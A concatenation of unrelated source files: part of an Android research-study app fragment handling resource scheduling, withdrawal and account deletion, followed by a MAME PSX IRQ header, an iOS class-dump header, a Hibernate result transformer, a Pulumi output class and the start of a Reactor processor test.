((SurveyActivity) mContext).getStudyId(),
anchorDateSchedulingDetails.getSourceActivityId(),
mRealm);
if (activities != null) {
anchorDateSchedulingDetails.setActivityState(activities.getStatus());
mArrayList.add(anchorDateSchedulingDetails);
}
} else {
// For enrollmentDate
anchorDateSchedulingDetails = new AnchorDateSchedulingDetails();
anchorDateSchedulingDetails.setSchedulingType(
mResourceArrayList.get(i).getAvailability().getAvailabilityType());
anchorDateSchedulingDetails.setSourceType(
mResourceArrayList.get(i).getAvailability().getSourceType());
anchorDateSchedulingDetails.setStudyId(((SurveyActivity) mContext).getStudyId());
anchorDateSchedulingDetails.setParticipantId(studies.getParticipantId());
// targetActivityid is resourceId in this case just to handle with case variable
anchorDateSchedulingDetails.setTargetActivityId(
mResourceArrayList.get(i).getResourcesId());
anchorDateSchedulingDetails.setAnchorDate(studies.getEnrolledDate());
mArrayList.add(anchorDateSchedulingDetails);
}
}
}
}
if (!mArrayList.isEmpty()) {
callLabkeyService(0);
} else {
metadataProcess();
}
}
private void mSetResourceAdapter() {
RealmList<Resource> resources = new RealmList<>();
if (mResourceArrayList != null) {
for (int i = 0; i < mResourceArrayList.size(); i++) {
if (mResourceArrayList.get(i).getAudience() != null
&& mResourceArrayList.get(i).getAudience().equalsIgnoreCase("All")) {
if (mResourceArrayList.get(i).getAvailability() != null
&& mResourceArrayList.get(i).getAvailability().getAvailableDate() != null
&& !mResourceArrayList
.get(i)
.getAvailability()
.getAvailableDate()
.equalsIgnoreCase("")) {
try {
Calendar currentday = Calendar.getInstance();
Calendar expiryDate = Calendar.getInstance();
expiryDate.setTime(
AppController.getDateFormatType10()
.parse(mResourceArrayList.get(i).getAvailability().getExpiryDate()));
expiryDate.set(Calendar.HOUR, 11);
expiryDate.set(Calendar.MINUTE, 59);
expiryDate.set(Calendar.SECOND, 59);
expiryDate.set(Calendar.AM_PM, Calendar.PM);
Calendar availableDate = Calendar.getInstance();
availableDate.setTime(
AppController.getDateFormatType10()
.parse(mResourceArrayList.get(i).getAvailability().getAvailableDate()));
availableDate.set(Calendar.HOUR, 0);
availableDate.set(Calendar.MINUTE, 0);
availableDate.set(Calendar.SECOND, 0);
availableDate.set(Calendar.AM_PM, Calendar.AM);
if ((currentday.getTime().before(expiryDate.getTime())
|| currentday.getTime().equals(expiryDate.getTime()))
&& (currentday.getTime().after(availableDate.getTime())
|| currentday.getTime().equals(availableDate.getTime()))) {
resources.add(mResourceArrayList.get(i));
}
} catch (ParseException e) {
Logger.log(e);
}
} else {
resources.add(mResourceArrayList.get(i));
}
} else if (mResourceArrayList.get(i).getAudience() != null
&& mResourceArrayList.get(i).getAudience().equalsIgnoreCase("Limited")) {
if (mResourceArrayList
.get(i)
.getAvailability()
.getAvailabilityType()
.equalsIgnoreCase("AnchorDate")) {
if (mResourceArrayList
.get(i)
.getAvailability()
.getSourceType()
.equalsIgnoreCase("ActivityResponse")) {
if (mResourceArrayList
.get(i)
.getAvailability()
.getAvailableDate()
.equalsIgnoreCase("")) {
StepRecordCustom stepRecordCustom =
dbServiceSubscriber.getSurveyResponseFromDB(
((SurveyActivity) mContext).getStudyId()
+ "_STUDYID_"
+ mStudyHome.getAnchorDate().getQuestionInfo().getActivityId(),
mStudyHome.getAnchorDate().getQuestionInfo().getKey(),
mRealm);
if (stepRecordCustom != null) {
Calendar startCalender = Calendar.getInstance();
Calendar endCalender = Calendar.getInstance();
JSONObject jsonObject = null;
try {
jsonObject = new JSONObject(stepRecordCustom.getResult());
startCalender.setTime(
AppController.getDateFormat().parse("" + jsonObject.get("answer")));
startCalender.add(
Calendar.DATE, mResourceArrayList.get(i).getAvailability().getStartDays());
if (mResourceArrayList.get(i).getAvailability().getStartTime() == null
|| mResourceArrayList
.get(i)
.getAvailability()
.getStartTime()
.equalsIgnoreCase("")) {
startCalender.set(Calendar.HOUR_OF_DAY, 0);
startCalender.set(Calendar.MINUTE, 0);
startCalender.set(Calendar.SECOND, 0);
} else {
String[] time =
mResourceArrayList.get(i).getAvailability().getStartTime().split(":");
startCalender.set(Calendar.HOUR_OF_DAY, Integer.parseInt(time[0]));
startCalender.set(Calendar.MINUTE, Integer.parseInt(time[1]));
startCalender.set(Calendar.SECOND, Integer.parseInt(time[2]));
}
NotificationDbResources notificationsDb = null;
RealmResults<NotificationDbResources> notificationsDbs =
dbServiceSubscriber.getNotificationDbResources(
mStudyHome.getAnchorDate().getQuestionInfo().getActivityId(),
((SurveyActivity) mContext).getStudyId(),
RESOURCES,
mRealm);
if (notificationsDbs != null && notificationsDbs.size() > 0) {
for (int j = 0; j < notificationsDbs.size(); j++) {
if (notificationsDbs
.get(j)
.getResourceId()
.equalsIgnoreCase(mResourceArrayList.get(i).getResourcesId())) {
notificationsDb = notificationsDbs.get(j);
break;
}
}
}
if (notificationsDb == null) {
setRemainder(
startCalender,
mStudyHome.getAnchorDate().getQuestionInfo().getActivityId(),
((SurveyActivity) mContext).getStudyId(),
mResourceArrayList.get(i).getNotificationText(),
mResourceArrayList.get(i).getResourcesId());
}
endCalender.setTime(
AppController.getDateFormat().parse("" + jsonObject.get("answer")));
endCalender.add(
Calendar.DATE, mResourceArrayList.get(i).getAvailability().getEndDays());
if (mResourceArrayList.get(i).getAvailability().getEndTime() == null
|| mResourceArrayList
.get(i)
.getAvailability()
.getEndTime()
.equalsIgnoreCase("")) {
endCalender.set(Calendar.HOUR_OF_DAY, 23);
endCalender.set(Calendar.MINUTE, 59);
endCalender.set(Calendar.SECOND, 59);
} else {
String[] time =
mResourceArrayList.get(i).getAvailability().getEndTime().split(":");
endCalender.set(Calendar.HOUR_OF_DAY, Integer.parseInt(time[0]));
endCalender.set(Calendar.MINUTE, Integer.parseInt(time[1]));
endCalender.set(Calendar.SECOND, Integer.parseInt(time[2]));
}
Calendar currentday = Calendar.getInstance();
if ((currentday.getTime().after(startCalender.getTime())
|| currentday.getTime().equals(startCalender.getTime()))
&& (currentday.getTime().before(endCalender.getTime())
|| currentday.getTime().equals(endCalender.getTime()))) {
resources.add(mResourceArrayList.get(i));
}
} catch (JSONException | ParseException e) {
Logger.log(e);
}
}
}
} else {
// if anchordate is enrollment date
Calendar startCalender = Calendar.getInstance();
Calendar endCalender = Calendar.getInstance();
try {
for (int j = 0; j < mArrayList.size(); j++) {
if (mResourceArrayList
.get(i)
.getResourcesId()
.equalsIgnoreCase(mArrayList.get(j).getTargetActivityId())) {
startCalender.setTime(
AppController.getDateFormat().parse(mArrayList.get(j).getAnchorDate()));
startCalender.add(
Calendar.DATE, mResourceArrayList.get(i).getAvailability().getStartDays());
endCalender.setTime(
AppController.getDateFormat().parse(mArrayList.get(j).getAnchorDate()));
endCalender.add(
Calendar.DATE, mResourceArrayList.get(i).getAvailability().getEndDays());
break;
}
}
if (mResourceArrayList.get(i).getAvailability().getStartTime() == null
|| mResourceArrayList
.get(i)
.getAvailability()
.getStartTime()
.equalsIgnoreCase("")) {
startCalender.set(Calendar.HOUR_OF_DAY, 0);
startCalender.set(Calendar.MINUTE, 0);
startCalender.set(Calendar.SECOND, 0);
} else {
String[] time =
mResourceArrayList.get(i).getAvailability().getStartTime().split(":");
startCalender.set(Calendar.HOUR_OF_DAY, Integer.parseInt(time[0]));
startCalender.set(Calendar.MINUTE, Integer.parseInt(time[1]));
startCalender.set(Calendar.SECOND, Integer.parseInt(time[2]));
}
NotificationDbResources notificationsDb = null;
RealmResults<NotificationDbResources> notificationsDbs =
dbServiceSubscriber.getNotificationDbResources(
mStudyHome.getAnchorDate().getQuestionInfo().getActivityId(),
((SurveyActivity) mContext).getStudyId(),
RESOURCES,
mRealm);
if (notificationsDbs != null && notificationsDbs.size() > 0) {
for (int j = 0; j < notificationsDbs.size(); j++) {
if (notificationsDbs
.get(j)
.getResourceId()
.equalsIgnoreCase(mResourceArrayList.get(i).getResourcesId())) {
notificationsDb = notificationsDbs.get(j);
break;
}
}
}
if (notificationsDb == null) {
setRemainder(
startCalender,
mStudyHome.getAnchorDate().getQuestionInfo().getActivityId(),
((SurveyActivity) mContext).getStudyId(),
mResourceArrayList.get(i).getNotificationText(),
mResourceArrayList.get(i).getResourcesId());
}
if (mResourceArrayList.get(i).getAvailability().getEndTime() == null
|| mResourceArrayList
.get(i)
.getAvailability()
.getEndTime()
.equalsIgnoreCase("")) {
endCalender.set(Calendar.HOUR_OF_DAY, 23);
endCalender.set(Calendar.MINUTE, 59);
endCalender.set(Calendar.SECOND, 59);
} else {
String[] time =
mResourceArrayList.get(i).getAvailability().getEndTime().split(":");
endCalender.set(Calendar.HOUR_OF_DAY, Integer.parseInt(time[0]));
endCalender.set(Calendar.MINUTE, Integer.parseInt(time[1]));
endCalender.set(Calendar.SECOND, Integer.parseInt(time[2]));
}
Calendar currentday = Calendar.getInstance();
if ((currentday.getTime().after(startCalender.getTime())
|| currentday.getTime().equals(startCalender.getTime()))
&& (currentday.getTime().before(endCalender.getTime())
|| currentday.getTime().equals(endCalender.getTime()))) {
resources.add(mResourceArrayList.get(i));
}
} catch (ParseException e) {
Logger.log(e);
}
}
} else {
resources.add(mResourceArrayList.get(i));
}
} else if (mResourceArrayList.get(i).getAudience() == null) {
resources.add(mResourceArrayList.get(i));
}
}
} else {
addStaticValAndFilter();
}
mStudyRecyclerView.setLayoutManager(new LinearLayoutManager(mContext));
mStudyRecyclerView.setNestedScrollingEnabled(false);
ResourcesListAdapter resourcesListAdapter =
new ResourcesListAdapter(getActivity(), resources, this);
mStudyRecyclerView.setAdapter(resourcesListAdapter);
}
private class ResponseData extends AsyncTask<String, Void, String> {
String response = null;
String responseCode = null;
int position;
Responsemodel mResponseModel;
AnchorDateSchedulingDetails anchorDateSchedulingDetails;
ResponseData(int position, AnchorDateSchedulingDetails anchorDateSchedulingDetails) {
this.position = position;
this.anchorDateSchedulingDetails = anchorDateSchedulingDetails;
}
@Override
protected void onPreExecute() {
super.onPreExecute();
}
@Override
protected String doInBackground(String... params) {
ConnectionDetector connectionDetector = new ConnectionDetector(mContext);
if (connectionDetector.isConnectingToInternet()) {
Realm realm = AppController.getRealmobj(mContext);
Studies studies =
realm
.where(Studies.class)
.equalTo("studyId", anchorDateSchedulingDetails.getStudyId())
.findFirst();
HashMap<String, String> header = new HashMap<>();
header.put(
getString(R.string.clientToken),
SharedPreferenceHelper.readPreference(mContext, getString(R.string.clientToken), ""));
header.put(
"accessToken",
SharedPreferenceHelper.readPreference(mContext, getString(R.string.auth), ""));
header.put(
"userId",
SharedPreferenceHelper.readPreference(mContext, getString(R.string.userid), ""));
mResponseModel =
HttpRequest.getRequest(
URLs.PROCESSRESPONSEDATA
+ AppConfig.ORG_ID_KEY
+ "="
+ AppConfig.ORG_ID_VALUE
+ "&"
+ AppConfig.APP_ID_KEY
+ "="
+ AppConfig.APP_ID_VALUE
+ "&participantId="
+ anchorDateSchedulingDetails.getParticipantId()
+ "&tokenIdentifier="
+ studies.getHashedToken()
+ "&siteId="
+ studies.getSiteId()
+ "&studyId="
+ studies.getStudyId()
+ "&activityId="
+ anchorDateSchedulingDetails.getSourceActivityId()
+ "&questionKey="
+ anchorDateSchedulingDetails.getSourceKey()
+ "&activityVersion="
+ anchorDateSchedulingDetails.getActivityVersion(),
header,
"");
dbServiceSubscriber.closeRealmObj(realm);
responseCode = mResponseModel.getResponseCode();
response = mResponseModel.getResponseData();
if (responseCode.equalsIgnoreCase("0") && response.equalsIgnoreCase("timeout")) {
response = "timeout";
} else if (responseCode.equalsIgnoreCase("0") && response.equalsIgnoreCase("")) {
response = "error";
} else if (Integer.parseInt(responseCode) >= 201
&& Integer.parseInt(responseCode) < 300
&& response.equalsIgnoreCase("")) {
response = "No data";
} else if (Integer.parseInt(responseCode) >= 400
&& Integer.parseInt(responseCode) < 500
&& response.equalsIgnoreCase("http_not_ok")) {
response = "client error";
} else if (Integer.parseInt(responseCode) >= 500
&& Integer.parseInt(responseCode) < 600
&& response.equalsIgnoreCase("http_not_ok")) {
response = "server error";
} else if (response.equalsIgnoreCase("http_not_ok")) {
response = "Unknown error";
} else if (Integer.parseInt(responseCode) == HttpURLConnection.HTTP_UNAUTHORIZED) {
response = "session expired";
} else if (Integer.parseInt(responseCode) == HttpURLConnection.HTTP_OK
&& !response.equalsIgnoreCase("")) {
response = response;
} else {
response = getString(R.string.unknown_error);
}
}
return response;
}
@Override
protected void onPostExecute(String response) {
super.onPostExecute(response);
if (response != null) {
if (response.equalsIgnoreCase("session expired")) {
AppController.getHelperProgressDialog().dismissDialog();
AppController.getHelperSessionExpired(mContext, "session expired");
} else if (response.equalsIgnoreCase("timeout")) {
metadataProcess();
Toast.makeText(
mContext,
mContext.getResources().getString(R.string.connection_timeout),
Toast.LENGTH_SHORT)
.show();
} else if (Integer.parseInt(responseCode) == 500) {
try {
JSONObject jsonObject =
new JSONObject(String.valueOf(mResponseModel.getResponseData()));
String exception = String.valueOf(jsonObject.get("exception"));
if (exception.contains("Query or table not found")) {
// call remaining service
callLabkeyService(this.position);
} else {
metadataProcess();
}
} catch (JSONException e) {
metadataProcess();
Logger.log(e);
}
} else if (Integer.parseInt(responseCode) == HttpURLConnection.HTTP_OK) {
try {
JSONObject jsonObject = new JSONObject(response);
JSONArray jsonArray = (JSONArray) jsonObject.get("rows");
Gson gson = new Gson();
JSONObject jsonObject1 = new JSONObject(String.valueOf(jsonArray.get(0)));
JSONArray jsonArray1 = (JSONArray) jsonObject1.get("data");
Object value = null;
for (int j = 0; j < jsonArray1.length(); j++) {
Type type = new TypeToken<Map<String, Object>>() {}.getType();
JSONObject jsonObject_data = (JSONObject) jsonArray1.get(j);
Map<String, Object> myMap = gson.fromJson(String.valueOf(jsonObject_data), type);
for (Map.Entry<String, Object> entry : myMap.entrySet()) {
String key = entry.getKey();
String valueobj = gson.toJson(entry.getValue());
Map<String, Object> vauleMap = gson.fromJson(String.valueOf(valueobj), type);
value = vauleMap.get("value");
try {
Date anchordate = AppController.getLabkeyDateFormat().parse("" + value);
value = AppController.getDateFormat().format(anchordate);
} catch (ParseException e) {
Logger.log(e);
}
}
}
// updating results back to DB
StepRecordCustom stepRecordCustom = new StepRecordCustom();
JSONObject jsonObject2 = new JSONObject();
jsonObject2.put("answer", "" + value);
stepRecordCustom.setResult(jsonObject2.toString());
stepRecordCustom.setActivityID(
anchorDateSchedulingDetails.getStudyId()
+ "_STUDYID_"
+ anchorDateSchedulingDetails.getSourceActivityId());
stepRecordCustom.setStepId(anchorDateSchedulingDetails.getSourceKey());
stepRecordCustom.setTaskStepID(
anchorDateSchedulingDetails.getStudyId()
+ "_STUDYID_"
+ anchorDateSchedulingDetails.getSourceActivityId()
+ "_"
+ 1
+ "_"
+ anchorDateSchedulingDetails.getSourceKey());
dbServiceSubscriber.updateStepRecord(mContext, stepRecordCustom);
mArrayList.get(this.position).setAnchorDate("" + value);
callLabkeyService(this.position);
} catch (Exception e) {
Logger.log(e);
metadataProcess();
}
} else {
metadataProcess();
}
} else {
metadataProcess();
Toast.makeText(mContext, getString(R.string.unknown_error), Toast.LENGTH_SHORT).show();
}
}
}
private void metadataProcess() {
AppController.getHelperProgressDialog().dismissDialog();
mSetResourceAdapter();
}
private void setRemainder(
Calendar startCalender,
String activityId,
String studyId,
String notificationTest,
String resourceId) {
NotificationModuleSubscriber notificationModuleSubscriber =
new NotificationModuleSubscriber(dbServiceSubscriber, mRealm);
notificationModuleSubscriber.generateAnchorDateLocalNotification(
startCalender.getTime(), activityId, studyId, mContext, notificationTest, resourceId);
}
private void addStaticValAndFilter() {
ArrayList<String> labelArray = new ArrayList<String>();
ArrayList<Resource> mTempResourceArrayList = new ArrayList<>();
for (int i = 0; i < mResourceArrayList.size(); i++) {
if (doShowResource(mResourceArrayList.get(i))) {
mTempResourceArrayList.add(mResourceArrayList.get(i));
}
}
mResourceArrayList.clear();
if (mResourceFragmentType == ResourceFragmentType.RESOURCE) {
labelArray.add(getResources().getString(R.string.about_study));
labelArray.add(getResources().getString(R.string.consent_pdf));
labelArray.add(getResources().getString(R.string.leave_study));
for (int i = 0; i < labelArray.size(); i++) {
Resource r = new Resource();
r.setTitle(labelArray.get(i));
mResourceArrayList.add(r);
}
}
mResourceArrayList.addAll(mTempResourceArrayList);
mTempResourceArrayList.clear();
}
@Override
public void asyncResponseFailure(int responseCode, String errormsg, String statusCode) {
AppController.getHelperProgressDialog().dismissDialog();
if (statusCode.equalsIgnoreCase("401")) {
Toast.makeText(mContext, errormsg, Toast.LENGTH_SHORT).show();
AppController.getHelperSessionExpired(mContext, errormsg);
} else {
// offline functionality
if (responseCode == RESOURCE_REQUEST_CODE) {
try {
if (dbServiceSubscriber.getStudyResource(mStudyId, mRealm) == null) {
Toast.makeText(getActivity(), errormsg, Toast.LENGTH_LONG).show();
} else if (dbServiceSubscriber.getStudyResource(mStudyId, mRealm).getResources()
== null) {
Toast.makeText(getActivity(), errormsg, Toast.LENGTH_LONG).show();
} else {
mResourceArrayList =
dbServiceSubscriber.getStudyResource(mStudyId, mRealm).getResources();
if (mResourceArrayList == null || mResourceArrayList.size() == 0) {
Toast.makeText(getActivity(), errormsg, Toast.LENGTH_LONG).show();
} else {
calculatedResources(mResourceArrayList);
}
}
} catch (Exception e) {
Logger.log(e);
}
} else {
Toast.makeText(mContext, errormsg, Toast.LENGTH_SHORT).show();
}
}
}
public String getType() {
return mStudyHome.getWithdrawalConfig().getType();
}
public String getLeaveStudyMessage() {
return mStudyHome.getWithdrawalConfig().getMessage();
}
public void updateuserpreference() {
UpdatePreferenceEvent updatePreferenceEvent = new UpdatePreferenceEvent();
HashMap<String, String> header = new HashMap();
header.put(
"accessToken",
AppController.getHelperSharedPreference()
.readPreference(mContext, mContext.getResources().getString(R.string.auth), ""));
header.put(
"userId",
AppController.getHelperSharedPreference()
.readPreference(mContext, mContext.getResources().getString(R.string.userid), ""));
JSONObject jsonObject = new JSONObject();
Studies mStudies =
dbServiceSubscriber.getStudies(((SurveyActivity) mContext).getStudyId(), mRealm);
try {
jsonObject.put("participantId", mStudies.getParticipantId());
jsonObject.put("studyId", ((SurveyActivity) mContext).getStudyId());
jsonObject.put("delete", mRegistrationServer);
} catch (JSONException e) {
Logger.log(e);
}
RegistrationServerEnrollmentConfigEvent registrationServerEnrollmentConfigEvent =
new RegistrationServerEnrollmentConfigEvent(
"post_object",
URLs.WITHDRAW,
UPDATE_USERPREFERENCE_RESPONSECODE,
mContext,
LoginData.class,
null,
header,
jsonObject,
false,
this);
updatePreferenceEvent.setRegistrationServerEnrollmentConfigEvent(
registrationServerEnrollmentConfigEvent);
UserModulePresenter userModulePresenter = new UserModulePresenter();
userModulePresenter.performUpdateUserPreference(updatePreferenceEvent);
}
public void responseServerWithdrawFromStudy(String flag) {
mRegistrationServer = flag;
AppController.getHelperProgressDialog().showProgress(getActivity(), "", "", false);
dbServiceSubscriber.deleteActivityRunsFromDbByStudyID(
mContext, ((SurveyActivity) mContext).getStudyId());
dbServiceSubscriber.deleteResponseFromDb(((SurveyActivity) mContext).getStudyId(), mRealm);
updateuserpreference();
}
@Override
public void onDestroy() {
dbServiceSubscriber.closeRealmObj(mRealm);
super.onDestroy();
}
private void callLabkeyService(int position) {
if (mArrayList.size() > position) {
AnchorDateSchedulingDetails anchorDateSchedulingDetails = mArrayList.get(position);
if (anchorDateSchedulingDetails.getSourceType().equalsIgnoreCase("ActivityResponse")
&& anchorDateSchedulingDetails.getActivityState().equalsIgnoreCase("completed")) {
Realm realm = AppController.getRealmobj(mContext);
StepRecordCustom stepRecordCustom =
dbServiceSubscriber.getSurveyResponseFromDB(
anchorDateSchedulingDetails.getStudyId()
+ "_STUDYID_"
+ anchorDateSchedulingDetails.getSourceActivityId(),
anchorDateSchedulingDetails.getSourceKey(),
realm);
if (stepRecordCustom != null) {
String value = "";
try {
JSONObject jsonObject = new JSONObject(stepRecordCustom.getResult());
value = jsonObject.getString("answer");
} catch (JSONException e) {
Logger.log(e);
}
mArrayList.get(position).setAnchorDate("" + value);
callLabkeyService(position + 1);
} else {
new ResponseData(position, anchorDateSchedulingDetails).execute();
}
dbServiceSubscriber.closeRealmObj(realm);
} else {
callLabkeyService(position + 1);
}
} else {
metadataProcess();
}
}
public void deactivateAccount() {
HashMap<String, String> header = new HashMap();
header.put(
"accessToken",
AppController.getHelperSharedPreference()
.readPreference(mContext, getResources().getString(R.string.auth), ""));
header.put(
"userId",
AppController.getHelperSharedPreference()
.readPreference(mContext, getResources().getString(R.string.userid), ""));
DeleteAccountEvent deleteAccountEvent = new DeleteAccountEvent();
Gson gson = new Gson();
DeleteAccountData deleteAccountData = new DeleteAccountData();
String json = gson.toJson(deleteAccountData);
JSONObject obj = null;
try {
obj = new JSONObject();
JSONArray jsonArray1 = new JSONArray();
JSONObject jsonObject = new JSONObject();
jsonObject.put("studyId", AppConfig.StudyId);
jsonObject.put("delete", mRegistrationServer);
jsonArray1.put(jsonObject);
obj.put("deleteData", jsonArray1);
} catch (JSONException e) {
Logger.log(e);
}
RegistrationServerConfigEvent registrationServerConfigEvent =
new RegistrationServerConfigEvent(
"delete_object",
URLs.DELETE_ACCOUNT,
DELETE_ACCOUNT_REPSONSECODE,
mContext,
LoginData.class,
null,
header,
obj,
false,
this);
deleteAccountEvent.setmRegistrationServerConfigEvent(registrationServerConfigEvent);
UserModulePresenter userModulePresenter = new UserModulePresenter();
userModulePresenter.performDeleteAccount(deleteAccountEvent);
}
}
|
rjw57/tiw-computer | emulator/src/devices/cpu/psx/irq.h | <reponame>rjw57/tiw-computer
// license:BSD-3-Clause
// copyright-holders:smf
/*
* PlayStation IRQ emulator
*
* Copyright 2003-2011 smf
*
*/
#ifndef MAME_CPU_PSX_IRQ_H
#define MAME_CPU_PSX_IRQ_H
#pragma once
extern const device_type PSX_IRQ;
#define MCFG_PSX_IRQ_HANDLER(_devcb) \
devcb = &downcast<psxirq_device &>(*device).set_irq_handler(DEVCB_##_devcb);
class psxirq_device : public device_t
{
public:
psxirq_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);
// configuration helpers
template <class Object> devcb_base &set_irq_handler(Object &&cb) { return m_irq_handler.set_callback(std::forward<Object>(cb)); }
DECLARE_READ32_MEMBER( read );
DECLARE_WRITE32_MEMBER( write );
DECLARE_WRITE_LINE_MEMBER( intin0 );
DECLARE_WRITE_LINE_MEMBER( intin1 );
DECLARE_WRITE_LINE_MEMBER( intin2 );
DECLARE_WRITE_LINE_MEMBER( intin3 );
DECLARE_WRITE_LINE_MEMBER( intin4 );
DECLARE_WRITE_LINE_MEMBER( intin5 );
DECLARE_WRITE_LINE_MEMBER( intin6 );
DECLARE_WRITE_LINE_MEMBER( intin7 );
DECLARE_WRITE_LINE_MEMBER( intin8 );
DECLARE_WRITE_LINE_MEMBER( intin9 );
DECLARE_WRITE_LINE_MEMBER( intin10 );
protected:
virtual void device_start() override;
virtual void device_reset() override;
virtual void device_post_load() override;
private:
void psx_irq_update( void );
void set( uint32_t bitmask );
uint32_t n_irqdata;
uint32_t n_irqmask;
devcb_write_line m_irq_handler;
};
#endif // MAME_CPU_PSX_IRQ_H
|
zhangkn/iOS14Header | System/Library/Frameworks/CoreMotion.framework/CLNotifierServiceAdapter.h | <reponame>zhangkn/iOS14Header
/*
* This header is generated by classdump-dyld 1.0
* on Sunday, September 27, 2020 at 11:40:20 AM Mountain Standard Time
* Operating System: Version 14.0 (Build 18A373)
* Image Source: /System/Library/Frameworks/CoreMotion.framework/CoreMotion
* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by <NAME>.
*/
#import <CoreMotion/CoreMotion-Structs.h>
#import <LocationSupport/CLIntersiloService.h>
#import <libobjc.A.dylib/CLNotifierServiceProtocol.h>
@class NSString;
@interface CLNotifierServiceAdapter : CLIntersiloService <CLNotifierServiceProtocol> {
map<unsigned long, int, std::__1::less<unsigned long>, std::__1::allocator<std::__1::pair<const unsigned long, int> > >* _clients;
CLNotifierBase* _notifier;
}
@property (nonatomic,readonly) CLNotifierBase* notifier; //@synthesize notifier=_notifier - In the implementation block
@property (assign,nonatomic) BOOL valid;
@property (readonly) unsigned long long hash;
@property (readonly) Class superclass;
@property (copy,readonly) NSString * description;
@property (copy,readonly) NSString * debugDescription;
-(void)invalidate;
-(NSString *)debugDescription;
-(void)setAdaptedNotifier:(CLNotifierBase*)arg1 ;
-(void)unregister:(R)arg1 forNotification:(id)arg2 :(int)arg3 ;
-(id)init;
-(void)forget:(R)arg1 :(id)arg2 ;
-(CLNotifierBase*)notifier;
-(void)register:(R)arg1 forNotification:(id)arg2 registrationInfo:(int)arg3 :(id)arg4 ;
-(int)notifierClientNumForCoparty:(id)arg1 ;
@end
|
solita/query-utils | src/main/java/fi/solita/utils/query/backend/hibernate/OptionResultTransformer.java | package fi.solita.utils.query.backend.hibernate;
import static fi.solita.utils.functional.Collections.newMap;
import static fi.solita.utils.functional.Functional.head;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import org.hibernate.transform.ResultTransformer;
import fi.solita.utils.functional.Option;
import fi.solita.utils.functional.Pair;
import fi.solita.utils.functional.SemiGroups;
import fi.solita.utils.query.backend.Type;
import fi.solita.utils.query.generation.NativeQuery;
public class OptionResultTransformer implements ResultTransformer {
private Map<String, Option<Type<?>>> retvals;
public OptionResultTransformer(List<Pair<String, Option<Type<?>>>> retvals) {
this.retvals = newMap(SemiGroups.<Option<Type<?>>>fail(), retvals);
}
@SuppressWarnings("rawtypes")
@Override
public List transformList(List collection) {
return collection;
}
@Override
public Object transformTuple(Object[] tuple, String[] aliases) {
Object[] ret = Arrays.copyOf(tuple, tuple.length);
for (int i = 0; i < tuple.length; ++i) {
Option<Type<?>> typeForValue = aliases.length == 1 && retvals.size() == 1 && head(retvals.keySet()) == NativeQuery.ENTITY_RETURN_VALUE ? head(retvals.values()) : retvals.get(aliases[i]);
if (typeForValue.isDefined() && typeForValue.get() instanceof Type.Optional) {
ret[i] = Option.of(ret[i]);
}
}
return ret.length == 1 ? ret[0] : ret;
}
}
|
AaronFriel/pulumi-google-native | sdk/python/pulumi_google_native/firestore/v1beta1/outputs.py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
from ._enums import *
__all__ = [
'GoogleFirestoreAdminV1beta1IndexFieldResponse',
]
@pulumi.output_type
class GoogleFirestoreAdminV1beta1IndexFieldResponse(dict):
"""
A field of an index.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "fieldPath":
suggest = "field_path"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in GoogleFirestoreAdminV1beta1IndexFieldResponse. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
GoogleFirestoreAdminV1beta1IndexFieldResponse.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
GoogleFirestoreAdminV1beta1IndexFieldResponse.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
field_path: str,
mode: str):
"""
A field of an index.
:param str field_path: The path of the field. Must match the field path specification described by google.firestore.v1beta1.Document.fields. Special field path `__name__` may be used by itself or at the end of a path. `__type__` may be used only at the end of path.
:param str mode: The field's mode.
"""
pulumi.set(__self__, "field_path", field_path)
pulumi.set(__self__, "mode", mode)
@property
@pulumi.getter(name="fieldPath")
def field_path(self) -> str:
"""
The path of the field. Must match the field path specification described by google.firestore.v1beta1.Document.fields. Special field path `__name__` may be used by itself or at the end of a path. `__type__` may be used only at the end of path.
"""
return pulumi.get(self, "field_path")
@property
@pulumi.getter
def mode(self) -> str:
"""
The field's mode.
"""
return pulumi.get(self, "mode")
|
DigitalRiverConnect/reactor-core | src/test/java/reactor/core/publisher/TopicProcessorTest.java | <gh_stars>0
/*
* Copyright (c) 2011-2017 Pivotal Software Inc, All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package reactor.core.publisher;
import java.util.Objects;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import org.assertj.core.api.Assertions;
import org.assertj.core.api.Condition;
import org.junit.Test;
import org.reactivestreams.Publisher;
import org.reactivestreams.Subscriber;
import org.reactivestreams.Subscription;
import reactor.core.scheduler.Scheduler;
import reactor.core.scheduler.Schedulers;
import reactor.test.subscriber.AssertSubscriber;
import reactor.util.concurrent.WaitStrategy;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.Assert.*;
/**
* @author <NAME>
*/
public class TopicProcessorTest {
@Test
public void testShutdownSuccessfullAfterAllDataIsRequested() throws InterruptedException {
TopicProcessor<String> processor = TopicProcessor.create("processor", 4);
Publisher<String>
publisher = Flux.fromArray(new String[] { "1", "2", "3", "4", "5" });
publisher.subscribe(processor);
AssertSubscriber<String> subscriber = AssertSubscriber.create(0);
processor.subscribe(subscriber);
subscriber.request(1);
Thread.sleep(250);
processor.shutdown();
assertFalse(processor.awaitAndShutdown(250, TimeUnit.MILLISECONDS));
subscriber.request(4);
assertTrue(processor.awaitAndShutdown(250, TimeUnit.MILLISECONDS));
}
@Test
public void testForceShutdownWhileWaitingForRequest() throws InterruptedException {
TopicProcessor<String> processor = TopicProcessor.create("processor", 4);
Publisher<String> publisher = Flux.fromArray(new String[] { "1", "2", "3", "4", "5" });
publisher.subscribe(processor);
